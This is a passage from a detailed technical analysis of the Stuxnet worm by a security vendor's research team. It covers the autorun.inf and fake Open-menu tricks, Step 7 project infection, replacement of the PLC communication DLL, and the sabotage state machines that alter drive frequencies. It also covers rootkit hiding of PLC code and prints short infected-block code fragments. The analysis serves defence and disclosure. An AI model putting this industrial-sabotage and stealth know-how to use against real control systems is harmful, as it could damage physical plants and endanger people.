When autorun.inf files are parsed by the Windows OS, the parsing is quite forgiving, meaning that any charac- ters that are not understood as legitimate autorun commands are skipped.
Stuxnet uses this to its advantage by placing the MZ file first inside the autorun.inf file.
During parsing of the autorun.inf file all of the MZ file will be ignored until the legitimate autorun commands that are appended at the end of the file are encountered.
See the header and footer of the autorun.inf file as shown in the following diagrams.
When we show only the strings from the footer we can see that they are composed of legitimate autorun com- mands: Notice that Stuxnet uses the autorun commands to specify the file to execute as the actual autorun.inf file.
Using this trick, the autorun.inf file will be treated as a legitimate autorun.inf file first and later as a legitimate execut- able file.
Figure 15 Autorun.inf header Figure 16 Autorun.inf footer Figure 17 Hidden autorun commands W32.Stuxnet Dossier Page 32 Security Response In addition to this, Stuxnet also uses another trick to enhance the chances that it will be executed.
The autorun commands turn off autoplay and then add a new command to the context menu.
The command that is added is found in Windir\System32\shell32.dll,-8496.
This is actually the Open string.
Now when viewing the context menu for the removable device the user will actually see two Open commands.
One of these Open commands is the legitimate one and one is the command added by Stuxnet.
If a user chooses to open the drive via this menu, Stuxnet will execute first.
Stuxnet then opens the drive to hide that anything suspi- cious has occurred.
Figure 18 Two Open commands W32.Stuxnet Dossier Page 33 Security Response Step 7 Project File Infections The main export, Export 16, calls Export 2, which is used to hook specific APIs that are used to open project files inside the s7tgtopx.exe process.
This process is the WinCC Simatic manager, used to manage a WinCC/Step7 project.
The Import Address Tables of the following DLLs are modified: In s7apromx.dll, mfc42.dll, and msvcrt.dll, CreateFileA is replaced to point to CreateFileA_hook.
In ccprojectmgr.exe, StgOpenStorage is replaced to point to StgOpenStorage_hook.
CreateFileA is typically used to open .S7P projects (Step7 project files).
Instead, the CreateFileA_hook routine will be called.
If the file opened has the extension .s7p, CreateFileA_hook will call RPC function 9, which is responsible for recording this path to the encrypted datafile Windir\inf\oem6c.pnf, and eventually infect the project folder inside which the s7p file is located.
StgOpenStorage is used by the Simatic manager to open .MCP files.
These files are found inside Step7 projects.
Like CreateFileA_hook, StgOpenStorage_hook will monitor files with the .mcp extension.
If such a file is ac- cessed by the manager, the hook function will call RPC function 9 to record the path to oem6c.pnf and eventu- ally infect the project folder inside which the mcp file is located.
Export 14 is the main routine for infecting Step 7 project files.
The project infector routine takes a path to a project as input, and can infect it causing Stuxnet to execute when the project is loaded.
The project path may be a regular path to a directory, or a path to zip file containing the project.
Files inside the projects are listed.
Those with extensions .tmp, .s7p or .mcp receive special processing.
S7P files Files with such extensions are Step7 project files.
When such a file is found inside a project folder, the project may be infected.
The project is a candidate for infection if: It is not deemed too old (used or accessed in the last 3.5 years).
It contains a wincproj folder with a valid MCP file.
It is not a Step7 example project, checked by excluding paths matching \Step7\Examples\.
The infection process then consists of several distinct steps: Stuxnet creates the following files:1.
xutils\listen\xr000000.mdx (an encrypted copy of the main Stuxnet DLL) xutils\links\s7p00001.dbf (a copy of a Stuxnet data file (90 bytes in length) xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configuration data block) The threat scans subfolders under the hOmSave7 folder.
In each of them, Stuxnet drops a copy of a DLL it 2.
carries within its resources (resource 202).
This DLL is dropped using a specific file name.
The file name is not disclosed here in the interests of responsible disclosure and will be referred to as xyz.dll.
Stuxnet modifies a Step7 data file located in Apilog\types.3.
When an infected project is opened with the Simatic manager the modified data file will trigger a search for the previously mentioned xyz.dll file.
The following folders are searched in the following order: The S7BIN folder of the Step7 installation folder The System folder The Windir\system folder The Windir folder Subfolders of the projects hOmSave7 folder W32.Stuxnet Dossier Page 34 Security Response If the xyz.dll file is not found in one of the first four locations listed above, the malicious DLL will be loaded and executed by the manager.
This .dll file acts as a decryptor and loader for the copy of the main DLL located in xutils\listen\xr000000.mdx.
This strategy is very similar to the DLL Preloading Attacks that emerged in August.
Versions 5.3 and 5.4 SP4 of the manager are impacted.
We are unsure whether the latest versions of the man- ager (v5.4 SP5, v5.5, released in August this year) are affected.
MCP files Like .s7p files, .mcp files may be found inside a Step7 project folder.
However, they are normally created by WinCC.
Finding such a file inside the project may trigger project infection as well as the WinCC database infec- tion.
The project is a candidate for infection if: It is not deemed too old (used or accessed in the last 3.5 years).
It contains a GracS folder with at least one .pdl file in it.
The infection process then consists of several distinct steps: Stuxnet creates the following files:1.
GracS\cc_alg.sav (an encrypted copy of the main Stuxnet DLL) GracS\db_log.sav (a copy of a Stuxnet data file, which is 90 bytes in length) GracS\cc_alg.sav xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configura tion data block) A copy of resource 203 is then decrypted and dropped to GracS\cc_tlg7.sav.
This file is a Microsoft Cabinet file 2.
containing a DLL used to load and execute Stuxnet.
During this infection process, the WinCC database may be accessed and infections spread to the WinCC data- base server machine.
This routine is described in the Network Spreading section.
TMP files For every .tmp file found inside the project, the filename is first validated.
It must be in the form WRxxxxx.tmp, where xxxxx of hexadecimal digits whose sum module 16 is null.
For instance, WR12346.tmp would qualify because 12346  16  0 mod 16.
The file content is then examined.
The first eight bytes must contain the following magic string: LRWLRW.
If so, the rest of the data is decrypted.
It should be a Windows module, which is then mapped.
Export 7 of this module is executed.
Stuxnet can also harness infected projects to update itself.
If a project is opened and it is already infected, Stux- net verifies if the version inside is newer than the current infection and executes it.
This allows Stuxnet to update itself to newer versions when possible.
Three possible forms of infected project files exist.
A different export handles each form.
Export 9 takes a Step7 project path as input, supposedly infected.
It will then build paths to the following Stux- net files located inside the project: \XUTILS\listen\XR000000.MDX \XUTILS\links\S7P00001.DBF \XUTILS\listen\S7000001.MDX These files are copied to temporary files (Temp\dfXXXX.tmp) and Export 16, the main entry point within this potentially newer version of Stuxnet, is executed.
W32.Stuxnet Dossier Page 35 Security Response Export 31 takes a Step7 project path as input and supposedly infected.
It will then build paths to the following Stuxnet files located inside the project: \GracS\cc_alg.sav \GracS\db_log.sav \GracS\cc_tag.sav These files are copied to temporary files (Temp\dfXXXX.tmp).
Export 16 within these files is then called to run this version of Stuxnet.
Export 10 is similar to 9 and 31.
It can process Step7 folders and extract Stuxnet files located in the Gracs\ or Xutils\ subfolders.
It may also process Zip archives.
Export 16 within the extracted files is then used to run the extracted copy of Stuxnet, and eventually update the configuration data block.
W32.Stuxnet Dossier Page 36 Security Response Modifying PLCs Resource 208 is dropped by export 17 and is a malicious replacement for Simatics s7otbxdx.dll file.
First, its worth remembering that the end goal of Stuxnet is to infect specific types of Simatic programmable logic controller (PLC) devices.
PLC devices are loaded with blocks of code and data written using a variety of languages, such as STL or SCL.
The compiled code is an assembly called MC7.
These blocks are then run by the PLC, in order to execute, control, and monitor an industrial process.
The original s7otbxdx.dll is responsible for handling PLC block exchange between the programming device (i.e., a computer running a Simatic manager on Windows) and the PLC.
By replacing this .dll file with its own, Stuxnet is able to perform the following actions: Monitor PLC blocks being written to and read from the PLC.
Infect a PLC by inserting its own blocks and replacing or infecting existing blocks.
Mask the fact that a PLC is infected.
Simatic PLC 101 To access a PLC, specific software needs to be in- stalled.
Stuxnet specifically targets the WinCC/Step 7 software.
With this software installed, the programmer can con- nect to the PLC with a data cable and access the mem- ory contents, reconfigure it, download a program onto it, or debug previously loaded code.
Once the PLC has been configured and programmed, the Windows computer can be disconnected and the PLC will function by itself.
To give you an idea of what this looks like, figure 20 is a photo of some basic test equipment.
Figure 19 PLC and Step7 Figure 20 Test equipment W32.Stuxnet Dossier Page 37 Security Response Figure 21 shows a portion of Stuxnets malicious code in the Step7 STL editor.
The beginning of the MC7 code for one of Stuxnets Function Code (FC) blocks is visible.
The code shown is from the disassembled block FC1873.
As mentioned previously, the Step 7 soft- ware uses a library file called s7otbxdx.dll to perform the actual communication with the PLC.
The Step7 program calls differ- ent routines in this .dll file when it wants to access the PLC.
For example, if a block of code is to be read from the PLC using Step7, the routine s7blk_read is called.
The code in s7otbxdx.dll accesses the PLC, reads the code, and passes it back to the Step7 program, as shown in figure 22.
Looking at how access to the PLC works when Stuxnet is installed, once Stux- net executes, it renames the original s7otbxdx.dll file to s7otbxsx.dll.
It then replaces the original .dll file with its own version.
Stuxnet can now intercept any call that is made to access the PLC from any software package.
Figure 21 Stuxnet code in the Step7 STL editor Figure 22 Step7 and PCL communicating via s7otbxdx.dll W32.Stuxnet Dossier Page 38 Security Response Stuxnets s7otbxdx.dll file contains all potential exports of the original .dll file a maximum of 109  which allows it to handle all the same requests.
The major- ity of these exports are simply forwarded to the real .dll file, now called s7otbxsx.
dll, and nothing untoward happens.
In fact, 93 of the original 109 exports are dealt with in this manner.
The trick, how- ever, lies in the 16 exports that are not simply forwarded but are instead inter- cepted by the custom .dll file.
The inter- cepted exports are the routines to read, write, and enumerate code blocks on the PLC, among others.
By intercepting these requests, Stuxnet is able to modify the data sent to or returned from the PLC without the operator of the PLC realizing it.
It is also through these routines that Stuxnet is able to hide the malicious code that is on the PLC.
The following are the most common types of blocks used by a PLC: Data Blocks (DB) contain program-spe- cific data, such as numbers, structures, and so on.
System Data Blocks (SDB) contain information about how the PLC is configured.
They are created depending on the number and type of hardware modules that are connected to the PLC.
Organization Blocks (OB) are the entry point of programs.
They are executed cyclically by the CPU.
In regards to Stuxnet, two notable OBs are: OB1 is the main entry-point of the PLC program.
It is executed cyclically, without specific time requirements.
OB35 is a standard watchdog Organization Block, executed by the system every 100 ms.
This function may contain any logic that needs to monitor critical input in order to respond immediately or perform functions in a time critical manner.
Function Blocks (FC) are standard code blocks.
They contain the code to be executed by the PLC.
Generally, the OB1 block references at least one FC block.
The infection process Stuxnet infects PLC with different code depending on the characteristics of the target system.
An infection se- quence consists of code blocks and data blocks that will be injected into the PLC to alter its behavior.
The threat contains three main infection sequences.
Two of these sequences are very similar, and functionally equivalent.
These two sequences are dubbed A and B.
The third sequence is dubbed sequence C. Initially, if the DLL is running inside the ccrtsloader.exe file, the malicious s7otbxdx.dll starts two threads respon- sible for infecting a specific type of PLC: The first thread runs an infection routine every 15 minutes.
The targeted PLC information has previously been collected by the hooked exports, mainly s7db_open().
This infection routine specifically targets CPUs 6ES7- 315-2 (series 300) with special SDB characteristics.
The sequence of infection is A or B.
The second thread regularly queries PLC for a specific block that was injected by the first thread if the infec- tion process succeeded.
This block is customized, and it impacts the way sequences A or B run on the infected PLC.
Finally, the injection of sequence C appears disabled or was only partially completed.
Sequence C can be written only to the 6ES7-417 family, not the 6ES7-315-2 family mentioned above.
Figure 23 Communication with malicious version of s7otbxdx.dll W32.Stuxnet Dossier Page 39 Security Response The infection thread, sequences A and B This thread runs the infection routine every 15 minutes.
When a PLC is found, the following steps are executed: First, the PLC type is checked using the s7ag_read_szl API.
It must be a PLC of type 6ES7-315-2.
The SDB blocks are checked to determine whether the PLC should be infected and if so, with which sequence (A or B).
If the two steps above passed, the real infection process starts.
The DP_RECV block is copied to FC1869, and then replaced by a malicious block embedded in Stuxnet.
The malicious blocks of the selected infection sequence are written to the PLC.
OB1 is infected so that the malicious code sequence is executed at the start of a cycle.
OB35 is also infected.
It acts as a watchdog, and on certain conditions, it can stop the execution of OB1.
The three key steps of the infection process are detailed below.
SDB check The System Data Blocks are enumerated and parsed.
Stuxnet must find an SDB with the DWORD at offset 50h equal to 0100CB2Ch.
This specifies the system uses the Profibus communications processor module CP 342-5.
Profibus is a standard industrial network bus used for distributed I/O, In addition, specific values are searched for and counted: 7050h and 9500h.
The SDB check passes if, and only if, the total number of values found is equal to or greater than 33.
These appear to be Profibus identification numbers, which are required for all Profi- bus DP devices except Master Class 2 devices.
Identification numbers are assigned to manufacturers by Profibus Profinet International (PI) for each device type they manufacture.
7050h is assigned to part number KFC750V3 which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by Fararo Paya in Teheran, Iran.
9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon based in Finland.
Frequency converter drives are used to control the speed of another device, such as a motor.
For example, if the frequency is increased, the speed of the motor increases.
Frequency converter drives are used in multiple indus- trial control industries including water systems, HVAC, gas pipelines, and other facilities.
Thus, the targeted system is using Profibus to communicate with at least 33 frequency converter drives from one or both of the two manufacturers, where sequence A is chosen if more Vacon devices are present and sequence B is chosen if more Fararo Paya devices are present.
DP_RECV replacement DP_RECV is the name of a standard function block used by network coprocessors.
It is used to receive network frames on the Profibus  a standard industrial network bus used for distributed I/O.
The original block is copied to FC1869, and then replaced by a malicious block.
Each time the function is used to receive a packet, the malicious Stuxnet block takes control: it will call the original DP_RECV in FC1869 and then do post- processing on the packet data.
OB1/OB35 infection Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks.
For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block.
Write malicious code to the beginning of the block.
Insert the original OB1 code after the malicious code.
Figure 24 illustrates OB1 before and after infection.
Figure 24 OB1 before and after infection W32.Stuxnet Dossier Page 40 Security Response Sequence blocks Sequences A and B are extremely close and functionally equivalent.
They consist of 17 blocks, the malicious DP_RECV replacement block, as well as the infected OB1 and OB35 blocks.
Figure 25 shows the connections between the blocks.
Legend: Arrows between two code blocks mean that a block calls or executes another block.
The pink block represents the main block, called from the infected OB1.
White blocks are standard Stuxnet code blocks.
Yellow blocks are also Stuxnet blocks, but copied from the Simatic library of standard blocks.
They execute common functions, such as timestamp com- parison.
Gray blocks are not part of Stuxnet theyre system function blocks, part of the operating system running on the PLC.
Theyre used to execute system tasks, such as reading the system clock (SFC1).
Green blocks represent Stuxnet data blocks.
Note that block names are misleading (except for the yellow and gray blocks), in the sense that they do not re- flect the real purpose of the block.
Sequences A and B intercept packets on the Profibus by using the DP_RECV hooking block.
Based on the values found in these blocks, other packets are generated and sent on the wire.
This is controlled by a complex state machine, implemented in the various code blocks that make the sequence.
One can recognize an infected PLC in a clean environment by examining blocks OB1 and OB35.
The infected OB1 starts with the following instructions, meant to start the infection sequence and potentially short-circuit OB1 execution on specific conditions: UC    FC1865 POP L     DW16DEADF007 D BEC L     DW160 L     DW160 Figure 25 Connections Between Blocks, Sequences A and B W32.Stuxnet Dossier Page 41 Security Response The infected OB35 starts with the following instructions, meant to short-circuit OB35 on specific conditions: UC    FC1874 POP L     DW16DEADF007 D BEC L     DW160 L     DW160 The monitor thread This secondary thread is used to monitor a data block DB890 of sequence A or B.
Though constantly running and probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected.
The purpose of the thread is to monitor each S7-315 on the bus.
When the sabotage routine is begun, the thread writes to the DB890 block of all the other S7-315s on the bus in order to have them begin the sabotage routine as well.
This thread causes the attack to begin almost simultaneously for all S7-315 devices on the same bus.
Behavior of a PLC infected by sequence A/B Infection sequences A and B are very similar.
Unless otherwise stated, whats mentioned here applies to both sequences.
The infection code for a 315-2 is organized as follows: The replaced DP_RECV block (later on referred to as the DP_RECV monitor) is meant to monitor data sent by the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules.
Up to 6 CP 342-5 Profibus communication modules are supported.
Each is a master on its own Profibus subnet with 31 frequency converter drives as slaves.
The addresses of the CP 342-5 modules are recorded.
Note the 315-2 CPU documentation recommends no more than 4 CP 324-5 modules, but in theory can support more, depending on CPU performance.
Frames sent over Profibus are inspected.
They are expected to have a specific format.
Each frame should have 31 recordsone for each slaveof either 28 or 32 bytes as the format differs slightly for the two dif- ferent frequency converter drives.
Some fields are stored.
The other blocks implement a state machine that controls the process.
Transitions from state i to state i1 are based on events, timers or task completions.
In state 1 fields recorded by the DP_RECV monitor are examined to determine if the target system is in a particular state of operation.
When enough fields match simple criteria, a transition to state 2 occurs.
In state 2 a timer is started.
Transitioning to state 3 occurs after two hours have elapsed.
In states 3 and 4, network frames are generated and sent on the Profibus to DP slaves.
The contents of these frames are semi-fixed, and partially depend on what has been recorded by the DP_RECV monitor.
State 5 initiates a reset of various variables used by the infection sequence (not to be confused with a PLC reset), before transitioning to state 1.
Transitioning to state 0 may also occur in case of errors.
In state 0, a 5-hour timer is started.
Figure 29 represents a simplified view of this state machine.
The normal path of execution is 1-2-3-4-5-1  as shown by the solid, blue arrows in the diagram.
Lets detail what happens during each state.
The initial state is 1 (circled in red).
Transitioning to state 2 can take a fair amount of time.
The code specifically monitors for records within the frames sent from the frequency converter drives that contain the current operat- ing frequency (speed of the device being controlled).
This value is held at offset 0xC in each record in the frame and is referred to as PD1 (parameter data 1).
The frequency values can be represented in hertz (Hz) or decihertz (deciHz).
The attackers expect the frequency drives to be running between 807 Hz and 1210 Hz.
If PD1 has a value greater than 1210, the code assumes the values being sent are represented in deciHertz and adjusts all frequency values by a factor of 10.
For example 10000 would be considered 10,000 deciHertz (1000.0 Hz) rather than 10,000Hz.
The routine that counts these records (here after referred to as events) is called once per minute.
W32.Stuxnet Dossier Page 42 Security Response Events are counted with a cap of 60 per minute.
It seems that this is the optimal, expected rate of events.
The global event counter, initially set to 1,187,136, must reach 2,299,104 to initiate a transition to state 2.
If we as- sume an optimal number of events set to 60 (the max could be 186, but remember the cap), the counting being triggered every minute, the transition occurs after (2299104-1187136)/60 minutes, which is 12.8 days.
Transitioning from state 2 to 3 is a matter of waiting 2 hours.
In states 3 and 4 two network send bursts occur.
The traffic generated is semi-fixed, and can be one of the two sequences.
The sequences consist of multiple frames that each contain 31 records.
Each frame is sent to each CP 342-5 module, which passes on the respective record within the frame to each of the 31 frequency converter drive slaves.
For infection sequence A (for Vacon frequency converters): Sequence 1 consists of 147 frames: 145 frames for sub-sequence 1a, sent during state 3.
2 frames for sub-sequence 1b, sent during state 4.
Sequence 2 consisting of 163 frames: 127 frames for sub-sequence 2a, sent during state 3.
36 frames for sub-sequence 2b, sent during state 4.
For infection sequence B (for Fararo Paya frequency converters): Sequence 1 consists of 57 frames: 34 frames for sub-sequence 1a, sent during state 3.
23 frames for sub-sequence 1b, sent during state 4.
Sequence 2 consists of 59 frames: Figure 26 State machine path of execution W32.Stuxnet Dossier Page 43 Security Response 32 frames for sub-sequence 2a, sent during state 3.
27 frames for sub-sequence 2b, sent during state 4.
Transitioning from state 3 to state 4 takes 15 minutes for sequence 1 and 50 minutes for sequence 2.
The data in the frames are instructions for the frequency converter drives.
For example one of the frames con- tains records that change the maximum frequency (the speed at which the motor will operate).
The frequency converter drives consist of parameters, which can be remotely configured via Profibus.
One can write new values to these parameters changing the behavior of the device.
The values written to the devices can be found in Ap- pendix C. Of note, for sequence A, the maximum frequency is set to 1410 Hz in sequence 1a, then set to 2 Hz in sequence 2a, and then set to 1064 Hz in sequence 2b.
Thus, the speed of the motor is changed from 1410Hz to 2Hz to 1064Hz and then over again.
Recall the normal operating frequency at this time is supposed to be between 807 Hz and 1210 Hz.
Thus, Stuxnet sabotages the system by slowing down or speeding up the motor to different rates at different times.
When a network send (done through the DP_SEND primitive) error occurs, up to two more attempts to resend the frame will be made.
Cases where a slave coprocessor is not started are also gracefully handled through the use of timers.
During states 3 and 4, the execution of the original code in OB1 and OB35 is temporarily halted by Stuxnet.
This is likely used to prevent interference from the normal mode of operation while Stuxnet sends its own frames.
During processing of state 5, various fields are initialized before transitioning to state 1 and starting a new cycle.
The two major events are: The global event counter is reset (which was initially 1187136).
This means that future transitions from state 1 to state 2 should take about 26.6 days.
The DP_RECV monitor is reset.
This means that the slave reconnaissance process is to take place again before frame snooping occurs.
(
Incidentally, note that slave reconnaissance is forced every 5.5 hours.)
Transition to state 0 then occurs if an error was reported.
Error in this context usually means that OB1 took too long to execute (over 13 seconds).
Otherwise, a regular transition to state 1 takes place.
It is worth mentioning that short-circuits, used to transition directly through states 0 and 1 to state 3, are de- signed to allow the sabotage routine to begin immediately.
This occurs when another S7-315 on the same bus has fulfilled the wait period.
The Windows monitoring thread will modify DB890, setting a flag, causing the PLC code to immediately begin the sabotage routine and to no longer wait the requisite time.
This behavior synchro- nizes the sabotage routine across all 315s controlled by the same Windows system.
Lets detail the purpose of the DP_RECV monitor and the subsequent frames sent during state 3 and 4.
The code expects a structure of 31 records of either 28 or 32 bytes (depending on which frequency drive is installed).
Heres the header of such a record: Offset  Type  Name 0  word  ID 2  word  Index (IND) 4  dword  VALUE 8  word  ControlWord (CW)/StatusWord (SW) 10  word  Reference (REF)/Actual (ACT) 12  word  Process Data 1 (PD1)  The monitor is especially interested in fields SW, ACT, and PD1.
The following pieces of information are recorded: Is the tenth bit in SW set?
This specifies FieldBus Control is on (one can control the devices via Profibus).
Is ACT a positive or negative integer?
Positive represents a forward direction, while negative reverse direction.
W32.Stuxnet Dossier Page 44 Security Response The value of PD1, which is the output frequency (the current frequency/speed).
The other fields are ignored.
When reaching states 3 and 4, the original PLC code is halted and the malicious PLC code begins sending frames of data based on the recorded values during the DP_RECV monitor phase.
The purpose of sending the frames is to change the behavior of the frequency converter drives.
First of all DP_SEND will send similar types of frames as the ones that are expected to be received by DP_RECV (which means each frame will contain 31 records of 28 or 32 bytesone record for each slave frequency converter drive).
Each record sent changes a configuration, such as the maximum frequency on the frequency converter drive.
The record fields will be set to zero, except for the ID, Value, CW, and REF fields.
ID specifies the parameter to change.
The format of the ID field is detailed in Table 6.
VALUE contains the new value for the particular parameter.
For frequency values, a factor of ten can be ap- plied if the system was determined to be using deciHz units.
CW (ControlWord) in sequence A is typically set to 47Fh, which means Run, but can start by sending 477h (Stop by Coast) and finishes by using 4FFh (Fault Reset).
CW in sequence B is set to 403h.
REF can range from 100 to -100 represented by 10000 or -10000.
This specifies the drive should be operating at the maximum (100) frequency either in a forward (positive 10000) or reverse (negative 10000) direction.
The previous direction, before the behavior of the frequency converter drives were hijacked, is main- tained, but at 100 potentially with a new maximum frequency.
The parameters that are modified and their values are in Appendix C. To more clearly illustrate the behavior of the injected code, weve outlined the key events that would occur with an infected 315-2 CPU connected to multiple CP 342-5 modules each with 31 frequency converter drive slaves, as shown in the dia- gram below.
The PLC is infected.
Frequency converter slaves send records to their CP- 342-5 master, building a frame of 31 records The CPU records the CP-342-5 addresses.
The frames are examined and the fields are recorded.
After approximately 13 days, enough events have been recorded, showing the system has been operating between 807 Hz and 1210 Hz.
The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to 1410Hz.
Normal operation resumes.
After approximately 27 days, enough events have been recorded.
The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency Table 6 ID Field Format ID Byte 1 ID Byte 2 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 Request Type SM Parameter Number Figure 27 Connections between sequence blocks W32.Stuxnet Dossier Page 45 Security Response initially to 2Hz and then 1064Hz.
Normal operation resumes.
After approximately 27 days, enough events have been recorded.
The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to 1410Hz.
Normal operation resumes.
After approximately 27 days, enough events have been recorded.
The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency initially to 2Hz and then 1064Hz.
Sequence C Stuxnet has a second sabotage strategy targeting S7-417 PLCs.
However, the routine is incomplete and the PLC code, referred to as sequence C, is never purposefully copied onto a PLC or executed.
While we can speculate the PLC code injection was active at a previous time, sequence C itself appears unfinished, contains unimplemented cases, unused code blocks, and test or debug code.
This sequence is more complex than sequences A or B.
It contains more blocks of code and data (32), and also generates data blocks on-the-fly using specific SFC blocks.
The figure below represents sequence C. Sequence C Injection Stuxnet hooks the Step 7 write function, so that whenever someone updates code on the PLC, sequence C is cop- ied to the PLC.
However, because code for a single function in the DLL is missing, sequence C is never properly activated.
Figure 28 Connections Between Blocks, Sequence C W32.Stuxnet Dossier Page 46 Security Response The S7-417 PLC code-installation routine starts when an operator of the target system performs a write opera- tion to a S7-417 PLC, such as updating code.
The SDB7 is read and DB8061 (consisting of Stuxnet-specific data) is created based on the values in SDB7.
However, due to the incomplete function in the DLL, DB8061 is never cre- ated and the data contained in DB8061 is unknown.
In particular, the reference to the function exists, but when called, a Windows exception occurs.
The exception is caught and execution resumes as if DB8061 was created.
The blocks that compose sequence C are then written to the PLC, including the modifications of SDB0 and SDB4, and OB80 is created as well, if it did not previously exist.
OB80 is the time-event error interrupt and is called if the maximum cycle time is exceeded.
SDB0 is expected to contain records holding CPU configuration informa- tion.
The block is parsed and a static 10-byte long record is inserted into the block.
The purpose of this insertion is unknown.
However, contrary to what happens with sequences A and B, no specific values are searched in the block.
Moreover, record 13 of SDB0 can be modified.
The creation timestamp of SDB0 is incremented, and this timestamp is replicated to a specific location in SDB4 for consistency.
Sequence C is written and Stuxnet also makes sure an OB80 exists, or else creates an empty one.
Later, the modification of OB1 (the entry point) that is needed to execute sequence C never occurs.
The code to modify OB1 requires the successful completion of the missing function and since the function throws an excep- tion, OB1 is not modified and the remaining sequence C code blocks are never executed.
Even if OB1 is modified to execute sequence C, the missing (or an existing unrelated) DB8061 would cause sequence C to operate improperly.
Finally, even if OB1 was modified and DB8061 contained correct values, unimplemented cases in sequence C would likely cause it to operate unexpectedly.
Thus, sequence C appears unfinished.
Stuxnet also hooks Step 7 to monitor for writes specifically to SDB7.
When SDB7 is written, Stuxnet will modify three bytes in DB8061.
Thus, if DB8061 already exists coincidentally on the target PLC, three values will acci- dentally be modified, potentially corrupting the PLC operation.
The following provides a step-by-step summary of the failed injection process: Read SDB71.
Attempt to generate DB8061, which fails2.
Modify SDB0, SDB43.
Copy sequence C blocks to the PLC (do not overwrite existing 4.
blocks) Create OB80 if it does not exist5.
Modify OB1 (does not occur)6.
Sequence C Behavior The following describes the behavior of sequence C. However, these behaviors never happen due to the missing function in the DLL.
Sequence C consists of 40 blocks, 26 containing Stuxnet code, 4 with standard code blocks, and 10 containing data.
Sequence C consists of a state machine with eight states.
DB8061 is critical to the operation of sequence C and because DB8061 is missing, the exact behavior of sequence C is unknown.
Figure 29 Code where an exception is thrown .text:1000D947 68 70 C8 03 10 push    offset unk _ 1003C870 .text:1000D94C 8D 45 FF  lea     eax, [ebpvar _ 1] .text:1000D94F 50   push    eax .text:1000D950 E8 93 47 00 00 call    _ _ CxxThrowException8 .text:1000D950 Figure 30 Eight states in sequence C W32.Stuxnet Dossier Page 47 Security Response State 0: Wait The code expects six groups of 164 peripherals.
Based on knowledge from the S7-315 code, these could be six cascades containing 164 centrifuges each.
Stuxnet monitors the groups, and the sum of the activity times for all groups must be greater than 297 days or for a single group greater than 35 days.
In addition, all groups must be active for at least three days.
State 1: Recording DB8064 through DB8070 (seven blocks) are created and each contains three sub-blocks for a total of 21 sub- blocks.
The input area of an I/O image is copied into each sub-block with a one second interval between copies, forming a 21 second recording of the input area.
The input area contains information being passed to the PLC from a peripheral.
(
For example, the current state of a valve or the temperature of a device.)
State 2 - 6: Sabotage When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to the process image output.
The output is the instructions the PLC sends to a device to change its operating behavior.
By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral.
Each cascade of 164 peripherals is grouped into 15 clusters (0  14).
Each cluster is affected, but not every cen- trifuge within a cluster is affected.
The following table shows for each group how many peripherals within each cluster are affected.
The particular peripherals within the clusters that are affected are pseudo-randomly chosen.
For example, clus- ter 4 contains 8 peripherals (peripheral 14 to 21).
According to the table, 6 out of 8 are affected.
One peripheral within the cluster is pseudo-randomly selected.
Lets say peripheral 20 is selected.
Stuxnet will then sabotage peripherals 20, 21, 14, 15, 16, and 17.
If an error occurs when attempting to sabotage one of the peripherals, the next one is selected.
For example, if an error occurs when affecting peripheral 15, then peripherals 16, 17, and now 18 would be targeted.
A total of 110 peripherals will be affected out of 164.
While this behavior occurs across the four states, state 3 takes place in two parts, with a two minute break in between.
The transition from state 5 to state 6 takes place after 2 minutes, 53 seconds.
State 6 is the state where the writing to the image/peripheral output takes place.
This state lasts 6 minutes, 58 seconds.
How the peripherals are affected is unknown.
Data is written to the image/peripheral output changing their behavior, but the data to be written is within DB8061, which is missing.
State 7: Reset The seven dynamically created data blocks (DB8064-DB8070) are deleted and many of the data values in the data blocks are reset.
State 7 can also be reached if any error occurs or if more than seven seconds elapses between two OB1 cycles.
Table 7 Affected peripherals within each cluster Cluster Number 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Peripherals in the Cluster 2 2 4 6 8 10 12 16 20 24 20 16 12 8 4 Peripheral Number 0-1 2-3 4-7 8-13 14-21 22-31 32-43 44-59 60-79 80- 103 104- 123 124- 139 140- 151 152- 159 160- 163 Peripherals affected 2 2 2 4 6 8 10 13 14 0 14 13 10 8 4 W32.Stuxnet Dossier Page 48 Security Response A return to state 1 will occur, resulting in a cycle consisting of waiting approximately 35 days, followed by a seven minute attack phase.
Thus, while the clear intention of the S7-417 code is unknown, key bits may support the theory of a secondary attack strategy on centrifuge systems within a cascade.
The rootkit The Stuxnet PLC rootkit code is contained entirely in the fake s7otbxdx.dll.
In order to achieve the aim of continu- ing to exist undetected on the PLC it needs to account for at least the following situations: Read requests for its own malicious code blocks.
Read requests for infected blocks (OB1, OB35, DP_RECV).
Write requests that could overwrite Stuxnets own code.
Stuxnet contains code to monitor and intercept these types of request.
The threat modifies these requests so that Stuxnets PLC code is not discovered or damaged.
The following list gives some examples of how Stuxnet uses the hooked exports to handle these situations: s7blk_read Used to read a block, is monitored so that Stuxnet returns: The original DP_RECV (kept as FC1869) if DP_RECV is requested.
An error if the request regards one of its own malicious blocks.
A cleaned version (disinfected on the fly) copy of OB1 or OB35 if such a block is requested.
s7blk_write Used to write a block, is also monitored: Requests to OB1/OB35 are modified so that the new version of the block is infected before its written.
Requests to write DP_RECV are also monitored.
The first time such a request is issued, the block will be writ- ten to FC1869 instead of DP_RECV.
Next time an error will be raised (since these system blocks are usually written only once).
Also note that the injection of sequence C takes place through a s7blk_write operation.
Exact conditions are not determined.
s7blk_findfirst and s7blk_findnext Used to enumerate blocks of a PLC.
Stuxnet will hide its own blocks by skipping them voluntarily during an enumeration.
Note that Stuxnet recognizes its own blocks by checking a specific value it sets in a block header.
s7blk_delete Used to delete blocks, is monitored carefully: Requests to delete a SDB may result in PLC disinfection.
Requests to delete OB are also monitored.
It seems the blocks are not necessarily deleted.
They could be in- fected.
